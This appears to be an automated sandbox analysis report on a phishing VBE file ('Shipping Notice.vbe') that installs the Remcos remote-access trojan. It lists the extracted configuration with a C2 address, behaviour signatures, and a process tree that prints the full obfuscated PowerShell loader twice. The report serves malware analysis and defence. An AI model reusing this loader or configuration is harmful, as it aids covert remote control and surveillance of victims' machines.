Analysis
- max time kernel
149s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260630-en - resource tags
- submitted
03/07/2026, 18:45
General
- Target Shipping Notice.vbe
- Size 54KB
- Sample260703-xea4psev3w
- SHA256 c31a0124dbf9e5e7788db730c2253fc131026b904c9a5ccd557487297e04f15f
Malware Config
Extracted
-
remcos
-
7.2.5 Pro
-
RemoteHost
-
23.95.103.219:3001
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-75EXRP
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Shipping Notice.vbe"1⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Allum_8888.8888.8888.657e2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "rv 'oxalates' 'thirling' 'cancionero';function rentegneres ($apartheidpolitikerne240,$schizoid35) {$gammelt=klokkestrengen(@(105,199,214,198,221,232,221,202,219,201,226,180,210,207,217,212,223,218,215,224,202,164,121,150,147,199,227,227,231,141,150,216,213,173,207,224,212,212,216,168,154,155)) ;Incension ($gammelt)}function klokkestrengen ($obfuscation) { $preachership=-26457+26457;do {$obfuscation[$preachership]-=$trophywort[$preachership%11];$outwin+=[char]$obfuscation[$preachership];$preachership++} while ($obfuscation[$preachership])$outwin}function Incension ($dextrolactic) {&($benignant82) $dextrolactic}Function Dysfunctional ($obfuscation,$schizoid35oulevarders=0){$knebrende=klokkestrengen(@(105,217,201,215,212,228,233,159,214,201,215,177,207,205,205,208,216,232,216,230,198,230,174,217,218,206,214,223,218,211,229,162,205,136,213,212,219,208,230,233,194,172,159,184,183,213,211,167,204,231,218,155,166,184,230,183,207,212,204,147,152,228,199,216,218,229,168,199,218,206,218,226,158));Incension ($knebrende);For($vandkanter=0; $ddelighedsstatistikkens[$vandkanter] -ne $raerne; $vandkanter++){$ddelighedsstatistikkens[$vandkanter] = rentegneres $ddelighedsstatistikkens[$vandkanter] $trophywort[$vandkanter%11]}$komposteringsanlggene=klokkestrengen(@(105,205,210,212,205,213,225,159,218,222,226,170,216,212,198,223,233,231,198,222,209,235,130,147,208,212,212,226,149,192,213,205,211,183,193,195,194,143,216,217,202,222,206,217,173,203,202,216,222,232,214,217,219,216,230,174,209,209,202,217,231));Incension ($komposteringsanlggene);if ($schizoid35oulevarders) { Incension $hypernaturally}else {;$hypernaturally}}$trophywort=@(69,102,102,101,107,116,117,101,114,101,114);$benignant82=klokkestrengen @(142,171,190);$spyttede='\Remissers.Rvh';$schizoid35rnecykelen=Dysfunctional 'cEhWRUMjHAsWCgU2RigxS0VFS0JeUhIPCFNfT1UdRFFJZRQQX1pBRUtCTFICAwUOBFtHVUNVQnRWV0UtHQcAFAoKaldTVUVE';$lserettighedens148=Dysfunctional 'LRISFRhOWkoWFxszA0gCBBsSCRdLESoLSRAISxAdAgoAMVsCChwaGQoTAVQsAltUUho4LwQSXx0xA1M/AhwzQVIWFicBDVgOEUgkAh8POSQ=';$refractary=Dysfunctional 'ew==';Dysfunctional 'YQEKCgkVGV8ADBQqFAsEVlAQCwRfEzUWAgQfFV5BARULMRIDAQ4=' 1;Dysfunctional 'YQEKCgkVGV8BEBUtW0IJGBEHAAYRGyIOAwEOGgZURl1cNhYKDB9cURcXAwAkBRIEGQ1c' 1;Dysfunctional 'HigDEUUnEBcEDBEgNgkMBQA4BBwEFSAUO19RJxAGBxcbMR82FwQAGgYdCU92VlFX' 1;$lserettighedens148=$sugh[0];$sadeltaskers=(Dysfunctional 'YQEKCgkVGV8eEBQxFBRUW0NIKxcSXwoEDAAIAFUrFxFcEgMEJgcdEAsG');Incension ($sadeltaskers);Dysfunctional 'YQoTAx8GB1RCUlwNAwcBDgYGPikrFzFILhEfBCcAAxAXNhIuAAoQEBcvUUIYW0IWCBwcHx0MFnZTFAsOFwwOFwkXKw==' 1;$apartheidpolitikerne240dlumidin=Dysfunctional 'AQkRCwcbFAE0DB4g';$smaatryk=Dysfunctional 'YQoTAx8GB1RCUlxhBxYEGQAdABsBAioKDxECHxAXHABAcVYCCR4ZHAEbC1wMCBAKABFdQR4WFzcDEhECEx0AFgAcNldSXUdQEwAWERcrAgMWQg==';$fedtendes=$riforma;Dysfunctional 'YQEKCgkVGV8dEAYhFAcSBUldMRcWBmg2BxEDVFEDFwEGIAgCABhd' 1;while (!$outdrawn) {Dysfunctional 'YQEKCgkVGV8zCRYgFBUHDgcBAB8IFykVAxZWUAEXBwA=' 1;Incension $smaatryk;Dysfunctional 'FgoDABtcQUw=' 1;Dysfunctional 'YQEKCgkVGV8dEAYhFAcSBUldMRcWBmg2BxEDVFEDFwEGIAgCABhd' 1 ;Dysfunctional 'YQEKCgkVGV8VAR0oW0ICBxsXBB5fEywSDQAFX15AVhYHIg5IBgQBGxE=' 1;$lserettighedens148=$sugh[$gdom]}$semidome=141041;$therapsid=20166;Dysfunctional 'YQEKCgkVGV8BERcvChUOGR0TERcLTyIFRkENERERFwsWIBU=' 1;Dysfunctional 'YQEKCgkVGV8zCxcpBxURAhccEQtYKQYJCBMOBgE4SF80NwkLJwoHEFNGNgY3DwgCQ1AGERcPHjYNFAwNABALWw==' 1;Dysfunctional 'YQEKCgkVGV8AAAEsAQgIDhoBWCkxFz0SSCAFFxoBGwsVGFxcJDg3PCxcIhcxNRIXAhoSTVYkHCAKBxYfHRYMBhxb' 1;Dysfunctional 'YQEKCgkVGV8eBwAsDQ0AGRoQFk9BACAVDwIFGRALBksBMAQVERkdGwJaQQEgCw8BBBkQSVYRGiAUBxUYHRFM' 1;Incension $lbrikkernes;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "rv 'oxalates' 'thirling' 'cancionero';function rentegneres ($apartheidpolitikerne240,$schizoid35) {$gammelt=klokkestrengen(@(105,199,214,198,221,232,221,202,219,201,226,180,210,207,217,212,223,218,215,224,202,164,121,150,147,199,227,227,231,141,150,216,213,173,207,224,212,212,216,168,154,155)) ;Incension ($gammelt)}function klokkestrengen ($obfuscation) { $preachership=-26457+26457;do {$obfuscation[$preachership]-=$trophywort[$preachership%11];$outwin+=[char]$obfuscation[$preachership];$preachership++} while ($obfuscation[$preachership])$outwin}function Incension ($dextrolactic) {&($benignant82) $dextrolactic}Function Dysfunctional ($obfuscation,$schizoid35oulevarders=0){$knebrende=klokkestrengen(@(105,217,201,215,212,228,233,159,214,201,215,177,207,205,205,208,216,232,216,230,198,230,174,217,218,206,214,223,218,211,229,162,205,136,213,212,219,208,230,233,194,172,159,184,183,213,211,167,204,231,218,155,166,184,230,183,207,212,204,147,152,228,199,216,218,229,168,199,218,206,218,226,158));Incension ($knebrende);For($vandkanter=0; $ddelighedsstatistikkens[$vandkanter] -ne $raerne; $vandkanter++){$ddelighedsstatistikkens[$vandkanter] = rentegneres $ddelighedsstatistikkens[$vandkanter] $trophywort[$vandkanter%11]}$komposteringsanlggene=klokkestrengen(@(105,205,210,212,205,213,225,159,218,222,226,170,216,212,198,223,233,231,198,222,209,235,130,147,208,212,212,226,149,192,213,205,211,183,193,195,194,143,216,217,202,222,206,217,173,203,202,216,222,232,214,217,219,216,230,174,209,209,202,217,231));Incension ($komposteringsanlggene);if ($schizoid35oulevarders) { Incension $hypernaturally}else {;$hypernaturally}}$trophywort=@(69,102,102,101,107,116,117,101,114,101,114);$benignant82=klokkestrengen @(142,171,190);$spyttede='\Remissers.Rvh';$schizoid35rnecykelen=Dysfunctional 'cEhWRUMjHAsWCgU2RigxS0VFS0JeUhIPCFNfT1UdRFFJZRQQX1pBRUtCTFICAwUOBFtHVUNVQnRWV0UtHQcAFAoKaldTVUVE';$lserettighedens148=Dysfunctional 'LRISFRhOWkoWFxszA0gCBBsSCRdLESoLSRAISxAdAgoAMVsCChwaGQoTAVQsAltUUho4LwQSXx0xA1M/AhwzQVIWFicBDVgOEUgkAh8POSQ=';$refractary=Dysfunctional 'ew==';Dysfunctional 'YQEKCgkVGV8ADBQqFAsEVlAQCwRfEzUWAgQfFV5BARULMRIDAQ4=' 1;Dysfunctional 'YQEKCgkVGV8BEBUtW0IJGBEHAAYRGyIOAwEOGgZURl1cNhYKDB9cURcXAwAkBRIEGQ1c' 1;Dysfunctional 'HigDEUUnEBcEDBEgNgkMBQA4BBwEFSAUO19RJxAGBxcbMR82FwQAGgYdCU92VlFX' 1;$lserettighedens148=$sugh[0];$sadeltaskers=(Dysfunctional 'YQEKCgkVGV8eEBQxFBRUW0NIKxcSXwoEDAAIAFUrFxFcEgMEJgcdEAsG');Incension ($sadeltaskers);Dysfunctional 'YQoTAx8GB1RCUlwNAwcBDgYGPikrFzFILhEfBCcAAxAXNhIuAAoQEBcvUUIYW0IWCBwcHx0MFnZTFAsOFwwOFwkXKw==' 1;$apartheidpolitikerne240dlumidin=Dysfunctional 'AQkRCwcbFAE0DB4g';$smaatryk=Dysfunctional 'YQoTAx8GB1RCUlxhBxYEGQAdABsBAioKDxECHxAXHABAcVYCCR4ZHAEbC1wMCBAKABFdQR4WFzcDEhECEx0AFgAcNldSXUdQEwAWERcrAgMWQg==';$fedtendes=$riforma;Dysfunctional 'YQEKCgkVGV8dEAYhFAcSBUldMRcWBmg2BxEDVFEDFwEGIAgCABhd' 1;while (!$outdrawn) {Dysfunctional 'YQEKCgkVGV8zCRYgFBUHDgcBAB8IFykVAxZWUAEXBwA=' 1;Incension $smaatryk;Dysfunctional 'FgoDABtcQUw=' 1;Dysfunctional 'YQEKCgkVGV8dEAYhFAcSBUldMRcWBmg2BxEDVFEDFwEGIAgCABhd' 1 ;Dysfunctional 'YQEKCgkVGV8VAR0oW0ICBxsXBB5fEywSDQAFX15AVhYHIg5IBgQBGxE=' 1;$lserettighedens148=$sugh[$gdom]}$semidome=141041;$therapsid=20166;Dysfunctional 'YQEKCgkVGV8BERcvChUOGR0TERcLTyIFRkENERERFwsWIBU=' 1;Dysfunctional 'YQEKCgkVGV8zCxcpBxURAhccEQtYKQYJCBMOBgE4SF80NwkLJwoHEFNGNgY3DwgCQ1AGERcPHjYNFAwNABALWw==' 1;Dysfunctional 'YQEKCgkVGV8AAAEsAQgIDhoBWCkxFz0SSCAFFxoBGwsVGFxcJDg3PCxcIhcxNRIXAhoSTVYkHCAKBxYfHRYMBhxb' 1;Dysfunctional 'YQEKCgkVGV8eBwAsDQ0AGRoQFk9BACAVDwIFGRALBksBMAQVERkdGwJaQQEgCw8BBBkQSVYRGiAUBxUYHRFM' 1;Incension $lbrikkernes;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
Remissers.Rvh
memory/1980-62-0x0000000000E70000-0x0000000002156000-memory.dmp
memory/1980-44-0x0000000000E70000-0x0000000002156000-memory.dmp
memory/1980-51-0x0000000000E70000-0x0000000002156000-memory.dmp
memory/1980-56-0x0000000000E70000-0x0000000002156000-memory.dmp
memory/1980-57-0x0000000000E70000-0x0000000002156000-memory.dmp
memory/1980-58-0x0000000000E70000-0x0000000002156000-memory.dmp
memory/1980-59-0x0000000000E70000-0x0000000002156000-memory.dmp
memory/1980-60-0x0000000000E70000-0x0000000002156000-memory.dmp
memory/1980-61-0x0000000000E70000-0x0000000002156000-memory.dmp
memory/4688-9-0x00007FF8B8F40000-0x00007FF8B98E4000-memory.dmp
memory/4688-11-0x00007FF8B8F40000-0x00007FF8B98E4000-memory.dmp
memory/4688-20-0x00007FF8B8F40000-0x00007FF8B98E4000-memory.dmp
memory/4688-14-0x00007FF8B8F40000-0x00007FF8B98E4000-memory.dmp
memory/4688-13-0x00007FF8B8F40000-0x00007FF8B98E4000-memory.dmp
memory/4688-22-0x00007FF8B8F40000-0x00007FF8B98E4000-memory.dmp
memory/4688-24-0x00007FF8B8F40000-0x00007FF8B98E4000-memory.dmp
memory/4688-12-0x00007FF8B8F40000-0x00007FF8B98E4000-memory.dmp
memory/4688-0-0x00007FF8B90CF000-0x00007FF8B90D0000-memory.dmp
memory/4688-15-0x00007FF8B8F40000-0x00007FF8B98E4000-memory.dmp
memory/4688-10-0x00007FF8B8F40000-0x00007FF8B98E4000-memory.dmp
memory/4688-8-0x00007FF8B8F40000-0x00007FF8B98E4000-memory.dmp
memory/4688-7-0x00007FF8B8F40000-0x00007FF8B98E4000-memory.dmp
memory/4688-6-0x00007FF8B8F40000-0x00007FF8B98E4000-memory.dmp
memory/4688-5-0x00007FF8B8F40000-0x00007FF8B98E4000-memory.dmp
memory/4688-4-0x000001E8F20A0000-0x000001E8F20C2000-memory.dmp
memory/4688-1-0x00007FF8B8F40000-0x00007FF8B98E4000-memory.dmp
memory/4960-27-0x0000000005D50000-0x0000000005DB6000-memory.dmp
memory/4960-38-0x0000000007610000-0x0000000007632000-memory.dmp
memory/4960-39-0x0000000008640000-0x0000000008BFA000-memory.dmp
memory/4960-37-0x0000000007660000-0x00000000076F6000-memory.dmp
memory/4960-41-0x0000000008C00000-0x000000000D75D000-memory.dmp
memory/4960-36-0x00000000068E0000-0x00000000068FA000-memory.dmp
memory/4960-35-0x0000000007A00000-0x000000000807C000-memory.dmp
memory/4960-33-0x0000000006440000-0x000000000648C000-memory.dmp
memory/4960-32-0x0000000006380000-0x000000000639E000-memory.dmp
memory/4960-30-0x0000000005E50000-0x00000000061AB000-memory.dmp
memory/4960-26-0x0000000005CE0000-0x0000000005D46000-memory.dmp
memory/4960-25-0x00000000055B0000-0x00000000055D2000-memory.dmp
memory/4960-23-0x0000000005690000-0x0000000005CDA000-memory.dmp
memory/4960-21-0x0000000002B30000-0x0000000002B66000-memory.dmp